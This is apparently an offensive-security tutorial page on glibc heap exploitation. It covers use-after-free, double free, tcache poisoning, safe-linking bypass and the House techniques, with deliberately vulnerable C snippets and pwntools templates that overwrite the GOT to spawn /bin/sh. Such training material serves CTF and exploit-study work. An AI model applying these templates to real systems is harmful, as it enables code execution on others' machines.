Heap Exploitation Mastery
Heap Exploitation Mastery — Corrupting the Dynamic Memory Arena
Heap exploitation is where binary exploitation becomes art. Unlike stack overflows, heap vulnerabilities let you manipulate dynamic memory management — allowing arbitrary read/write primitives, structure overwrites, and eventually, full control of execution.
This section will arm you with everything from glibc heap internals to tcache poisoning and modern bypasses (safe-linking, ASLR, full RELRO).
I. 🧩 Core Heap Concepts
Heap
Memory region for dynamic allocations (malloc, calloc, free).
Chunks
Memory blocks managed by the allocator.
Bins
Linked lists storing freed chunks (fastbins, smallbins, tcache).
Tcache
Thread-local cache introduced in glibc 2.26 for speed.
Metadata
Information stored before each chunk (size, flags).
Heap Corruption
Overwriting metadata or manipulating pointers to redirect control flow.
II. ⚙️ Anatomy of a Heap Chunk
[ prev_size ] (only valid if previous chunk is free)
[ size ] (chunk size + status bits)
[ user data ] <-- your malloc() pointer points here
[ next chunk ]Bits in size:
PREV_INUSE (0x1): whether previous chunk is free
IS_MMAPPED (0x2): mmap’ed chunk
NON_MAIN_ARENA (0x4): thread-specific heap
III. 🧩 Heap Bins Overview (glibc ≤ 2.32)
Fastbins
Small, quick allocations (< 0x80)
Fastbin Dup
Unsorted Bin
Holding recently freed large chunks
Leak libc addresses
Smallbins
Fixed-size freed chunks
Overlap attacks
Largebins
Big allocations (> 0x400)
Consolidation corruption
Tcache
Thread-local cache
Tcache poisoning
IV. 🧠 Essential Tools
sudo apt install gdb gdb-multiarch
pip install pwntools ropper
git clone https://github.com/longld/peda.git ~/.gdb/pedaPlugins
pwndbg / gef – visualize heap and bins in GDB
heap-viewer – graphical heap analysis
V. ⚙️ Common Heap Vulnerabilities
Use-After-Free (UAF)
Using memory after free().
Double Free
Freeing the same chunk twice.
Heap Overflow
Writing beyond allocated chunk boundary.
Uninitialized Read
Using uninitialized heap memory.
Arbitrary Free
Freeing attacker-controlled pointers.
VI. 💣 Use-After-Free (UAF)
🧩 Vulnerable Code
char *a = malloc(64);
free(a);
strcpy(a, "pwned!");After free(a), chunk a is still accessible → leads to control over freed chunk’s metadata.
🧠 Exploitation
Allocate → Free → Reallocate (same address reused)
Overwrite function pointers, vtable, or GOT entries.
VII. ⚙️ Double Free Attack
💣 Vulnerable Code
char *a = malloc(64);
free(a);
free(a);Heap linked lists become corrupted — attacker can insert arbitrary addresses into fastbins.
🧠 Exploit Strategy
Free a chunk twice → it appears twice in the free list.
Allocate twice → get two pointers to the same chunk.
Overwrite a function pointer or return address in memory.
VIII. 🧩 Fastbin Duplication (Fastbin Dup)
⚙️ Exploit Outline
Allocate two fastbin chunks
AandB.Free both, then free
Aagain → double-free.Overwrite the FD pointer of
A→ control the next malloc return.Allocate controlled data → overwrite target (e.g. GOT).
IX. 🧠 Unsorted Bin Attack
When freeing large chunks, they go to the unsorted bin and store pointers to main_arena. This allows libc address leaks.
Example:
x/gx 0x602020
0x602020: 0x00007ffff7dd1b78 # libc leakX. 💣 Tcache Poisoning (glibc ≥ 2.26)
🧩 Concept
Tcache uses singly linked lists for freed chunks — easy to corrupt.
⚙️ Exploit
Free a chunk → goes into tcache bin.
Overwrite its
nextpointer with target address (e.g. GOT).Next malloc of same size → returns pointer to GOT.
Overwrite GOT entry → arbitrary code execution.
Example Pwntools Script
from pwn import *
elf = ELF('./vuln')
p = process(elf.path)
# Step 1: Allocate and free
p.sendline(b'1'); p.sendline(b'64')
p.sendline(b'2') # free()
# Step 2: Poison tcache
p.sendline(b'3')
p.sendline(p64(elf.got['free']))
# Step 3: Overwrite GOT entry
p.sendline(b'1'); p.sendline(b'64')
p.sendline(b'/bin/sh\x00')
p.sendline(b'1'); p.sendline(b'64')
p.sendline(p64(elf.symbols['system']))Result → free("/bin/sh") becomes system("/bin/sh").
XI. 🧠 Safe-Linking Bypass (glibc ≥ 2.32)
Safe-linking XORs the tcache FD pointer with a per-thread secret (ASLR-based).
⚙️ Bypass
Leak heap base address.
XOR encode your target:
fd = target_addr ^ (heap_base >> 12)Write encoded value into FD pointer manually.
XII. ⚙️ Heap Overflow → Arbitrary Write
Heap overflows let you overwrite next chunk’s metadata.
Example:
Chunk A [64 bytes]
Chunk B [64 bytes]Overflow from A into B → modify B’s size or FD pointer.
Goal: forge pointers → arbitrary write or malloc return control.
XIII. 🧩 House of Force
🧠 Concept
Manipulate the top chunk size to overlap future allocations with controlled memory.
malloc(0xffffffffffffffff)Then allocate a chunk that overlaps the .bss or GOT.
XIV. ⚙️ House of Spirit
Fake chunk placed in global/static memory. Used for arbitrary free / arbitrary malloc control.
🧠 Example
char fake_chunk[0x80];
*(size_t*)(fake_chunk - 8) = 0x81;
free(fake_chunk);Now heap believes your static buffer is a real freed chunk.
XV. 💀 House of Orange (Full Chain Example)
Used when:
malloc()triggers_int_malloc()→ consolidations occur.No free() calls are available.
Exploit Flow:
Overflow top chunk.
Overwrite its size field.
Trigger
malloc()to allocate overlapping chunk.Overwrite
_IO_list_all→ hijackvtable.Call
system("/bin/sh").
XVI. 🧠 Heap Leaks & Libc Leak Techniques
🔹 Printf Leak
printf(ptr);Leaking heap pointer → calculate heap base.
🔹 Unsorted Bin Leak
x/gx <unsorted_bin_addr>Reveals libc address from main_arena pointer.
🔹 Global Max Fast Leak
By freeing controlled chunk into unsorted bin, you can leak main_arena.
XVII. ⚙️ Modern glibc Mitigation Bypasses
Safe-Linking
2.32
Heap leak + XOR decode
Tcache Double Free Check
2.29
Use different sizes
Heap Integrity Check
2.34
Custom allocator desync
ASLR + PIE
Always
Leak libc/heap base via UAF
XVIII. 🧩 Real-World Example: Tcache Poison + ROP
Leak libc address.
Poison tcache → GOT overwrite.
Overwrite
__free_hookwithsystem.Trigger
free("/bin/sh").
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
overwrite = free_hook ^ (heap_base >> 12)XIX. ⚙️ Heap Exploit Template (Pwntools)
from pwn import *
elf = context.binary = ELF('./heap_vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(elf.path)
def alloc(size, data=b'A'):
p.sendline(b'1')
p.sendline(str(size).encode())
p.sendline(data)
def free(idx):
p.sendline(b'2')
p.sendline(str(idx).encode())
alloc(0x60, b'A'*8)
alloc(0x60, b'B'*8)
free(0)
free(1)
free(0) # double free
alloc(0x60, p64(elf.got['free']))
alloc(0x60, b'/bin/sh\x00')
alloc(0x60, p64(libc.symbols['system']))
free(0)
p.interactive()XX. ⚔️ Pro Tips & Red Team Tricks
✅ Heap Layout Awareness Always diagram heap allocations before crafting payloads.
✅ Heap Fast Leak Abuse unsorted bin pointers for libc base.
✅ Heap Grooming Use specific malloc/free patterns to position chunks predictably.
✅ Automation Use Pwntools scripts with dynamic heap base detection.
✅ Cross-Arch Heap corruption on 64-bit systems often requires safe-link decoding.
XXI. 🧠 Practice Labs
HeapLAB
Visualized heap exploitation
pwnable.kr – heap, uaf
Basic/Intermediate heap challenges
pwnable.tw – tcache_tear
Advanced tcache exploitation
CTFtime
Live heap pwn practice
HackTheBox – Pandora, Poison
Real-world heap attacks
XXII. ⚙️ Quick Reference Table
Fastbin Dup
< 2.29
Double free
Unsorted Bin Leak
all
libc leak
Tcache Poison
≥ 2.26
GOT overwrite
Safe-Linking Bypass
≥ 2.32
XOR with heap base
House of Force
all
Top chunk control
House of Orange
2.23–2.27
vtable hijack
Last updated
Was this helpful?